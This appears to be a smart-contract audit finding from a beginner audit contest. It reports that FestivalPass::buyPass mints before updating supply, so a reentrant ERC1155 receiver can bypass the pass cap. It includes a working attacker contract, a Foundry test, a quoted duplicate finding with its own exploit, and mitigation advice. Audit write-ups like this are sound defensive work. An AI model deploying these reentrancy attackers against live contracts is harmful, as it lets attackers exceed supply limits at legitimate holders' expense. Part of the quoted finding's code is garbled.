Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

buyPass() mints before incrementing passSupply -- reentrant onERC1155Received callback bypasses the passMaxSupply cap

Summary

FestivalPass::buyPass calls _mint, which invokes onERC1155Received on a contract recipient, before incrementing passSupply[collectionId]. A malicious contract can recursively re-enter buyPass from that callback; every nested call reads the same pre-increment passSupply value, so the passSupply < passMaxSupply cap check passes at every level of the recursion -- letting an attacker mint far beyond the advertised, scarcity-priced max supply (e.g. BACKSTAGE_PASS is capped at only 100).

Description

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
_mint(msg.sender, collectionId, 1, ""); // @> triggers onERC1155Received on a contract recipient HERE
++passSupply[collectionId]; // @> not incremented until AFTER the external call returns
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

OpenZeppelin's ERC1155._mint updates balances and then calls the recipient's onERC1155Received hook (the standard ERC1155 safe-transfer acceptance check) before _mint returns. Because ++passSupply[collectionId] only runs after _mint returns, a contract recipient can call buyPass{value: passPrice}(collectionId) again from inside onERC1155Received. That nested call re-reads passSupply[collectionId], which is still the original pre-increment value (the outer call hasn't reached its own ++passSupply yet), so the cap check passes again -- and again, for as many levels of recursion as the attacker chooses (paying passPrice in real ETH at each level, but bypassing the supply cap entirely).

Note the sibling function redeemMemorabilia gets this ordering right (collection.currentItemId++ happens before its own _mint call), which shows this is a specific ordering bug in buyPass, not a general misunderstanding of the framework.

Risk

Likelihood:

  • Only requires deploying one small IERC1155Receiver contract and calling buyPass from it -- no privileged role, no timing dependency, fully attacker-controlled and repeatable at will.

Impact:

  • Directly breaks the advertised supply caps, which are a core value proposition of the tiered pass system (BACKSTAGE_PASS capped at 100, VIP_PASS at 1000). An attacker willing to spend ETH can mint arbitrarily more than the promised cap of the scarcest, most valuable tier, destroying the scarcity guarantee for all legitimate holders and diluting the 3x reward multiplier that's supposed to be capped to only 100 holders.

Proof of Concept

contract ReentrantPassBuyer is IERC1155Receiver {
FestivalPass public immutable target;
uint256 public immutable passId;
uint256 public immutable price;
uint256 public depth;
uint256 public immutable maxDepth;
constructor(FestivalPass _target, uint256 _passId, uint256 _price, uint256 _maxDepth) {
target = _target; passId = _passId; price = _price; maxDepth = _maxDepth;
}
function attack() external payable {
target.buyPass{value: price}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external override returns (bytes4) {
depth++;
if (depth < maxDepth) {
target.buyPass{value: price}(passId); // re-enters BEFORE passSupply++ from the outer call
}
return IERC1155Receiver.onERC1155Received.selector;
}
// ...onERC1155BatchReceived / supportsInterface / receive elided
}
function test_H2_reentrantBuyPass_bypassesMaxSupplyCap() public {
uint256 backstageMaxSupply = 3; // small cap to make the bypass obvious
vm.prank(organizer);
festivalPass.configurePass(3, 0.25 ether, backstageMaxSupply);
uint256 attemptedDepth = 10; // far beyond the cap of 3
ReentrantPassBuyer attacker = new ReentrantPassBuyer(festivalPass, 3, 0.25 ether, attemptedDepth);
vm.deal(address(attacker), 10 ether);
attacker.attack();
assertEq(festivalPass.balanceOf(address(attacker), 3), attemptedDepth); // 10 minted, cap was 3
}

Run with forge test --match-test test_H2_reentrantBuyPass_bypassesMaxSupplyCap -vv. With passMaxSupply set to 3, the attacker's single attack() call minted 10 BACKSTAGE_PASS tokens to itself -- the cap is bypassed entirely, bounded only by attacker-chosen recursion depth / gas.

Recommended Mitigation

Follow checks-effects-interactions: increment passSupply[collectionId] (and mint any bonus BEAT) before calling _mint, exactly as redeemMemorabilia already does for collection.currentItemId. Alternatively, add nonReentrant to buyPass.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!